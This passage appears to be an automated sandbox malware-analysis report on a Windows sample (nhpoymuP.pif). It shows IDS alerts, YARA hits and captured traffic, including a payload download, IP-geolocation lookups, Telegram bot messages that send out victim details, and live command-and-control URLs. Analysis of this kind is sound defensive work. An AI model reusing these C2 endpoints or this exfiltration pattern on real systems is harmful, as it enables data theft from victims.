            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then jmp 29F00338h14_2_29F00040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_29F23548
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]14_2_29F2EE90
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-38h]14_2_29F2EE98
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_29F20040
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_29F20011
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_29F20356
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then lea esp, dword ptr [ebp-04h]14_2_29F23538
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, 000003E8h14_2_2A6F0970
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]14_2_2A6F0630
            Source: C:\Users\Public\Libraries\nhpoymuP.pifCode function: 4x nop then mov ecx, dword ptr [ebp-40h]14_2_2A6F0628

            Networking

            barindex
            Suricata IDS alerts for network traffic
            Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49765 -> 149.154.167.220:443
            Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.4:49772 -> 149.154.167.220:443
            C2 URLs / IPs found in malware configuration
            Source: Malware configuration extractorURLs: https://fodoknotel.za.com/233_Pumyophnrer
            Uses the Telegram API (likely for C&C communication)
            Source: unknownDNS query: name: api.telegram.org
            Yara detected Generic Downloader
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02CAE2F0 InternetCheckConnectionA,0_2_02CAE2F0
            Source: global trafficTCP traffic: 192.168.2.4:49773 -> 208.91.198.176:587
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2004:14:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2001:16:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
            Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
            Source: Joe Sandbox ViewASN Name: COGENT-174US COGENT-174US
            Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
            Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
            Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
            Source: unknownDNS query: name: checkip.dyndns.org
            Source: unknownDNS query: name: reallyfreegeoip.org
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49750 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49755 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49743 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 23.237.26.135:443
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 193.122.130.0:80
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 188.114.97.3:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 188.114.97.3:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 188.114.97.3:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49767 -> 188.114.97.3:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 188.114.97.3:443
            Source: global trafficTCP traffic: 192.168.2.4:49773 -> 208.91.198.176:587
            Source: global trafficHTTP traffic detected: GET /233_Pumyophnrer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.0
            Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /233_Pumyophnrer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2004:14:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2001:16:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficDNS traffic detected: DNS query: fodoknotel.za.com
            Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
            Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
            Source: global trafficDNS traffic detected: DNS query: api.telegram.org
            Source: global trafficDNS traffic detected: DNS query: mail.techniqueqatar.com
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 02 Jan 2025 15:05:46 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 02 Jan 2025 15:05:52 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BCC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.000000002606E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?L
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://aborters.duckdns.org:8081
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 